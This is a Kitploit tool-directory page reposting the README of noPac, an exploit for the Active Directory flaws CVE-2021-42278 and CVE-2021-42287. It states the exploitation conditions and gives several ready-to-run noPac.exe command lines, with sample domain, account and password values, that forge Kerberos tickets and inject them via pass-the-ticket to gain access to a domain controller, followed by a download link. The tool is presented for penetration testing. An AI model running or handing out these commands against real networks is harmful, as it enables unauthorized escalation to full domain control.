Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
noPac — CVE-2021-42287/CVE-2021-42278 Exploiter | Kitploit
Tools/GitHubGitHub/trya9ain/nopac
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubtrya9ain/nopac

noPac

CVE-2021-42287/CVE-2021-42278 Exploiter

View Repository
1413 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

noPac

This project originated from studying the principle of noPac, with some modifications based on the cube0x0 project. Personal understanding comments have been added to the source code.

  • Removed the Scan functionality, as I found it to be of limited use.
  • Added a check for the MachineAccountQuota value; if it is 0, the program exits.
  • Optimized the judgment when adding a computer account.
  • Added TGT output.

An analysis article on the vulnerability can be found on my blog: noPac Analysis

Exploitation Conditions

noPac is a combination of two vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) & CVE-2021-42287 (deceiving the KDC). Successful exploitation requires both vulnerabilities to be exploitable simultaneously.

Usage

root@kitploit:~
Examples: Get TGT and ST

  noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword

  noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei

  noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice

  noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs

Examples: PTT

  noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice /ptt

  noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt

  noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt

A commonly used method is PTT:

root@kitploit:~
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt

Demo

Before exploiting noPac, there is no access to the DC.

Exploit noPac.

root@kitploit:~
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt

After PTT, you can successfully access the DC again from the current window.

Environment

Note that the program can only run on machines with .NET 4.0+. Windows Server 2012 comes with .NET 4.0 by default, while Windows Server 2008 comes with .NET 3.5 by default.

To check the .NET version on the machine:

root@kitploit:~
dir c:\Windows\Microsoft.NET\Framework64

Download Tool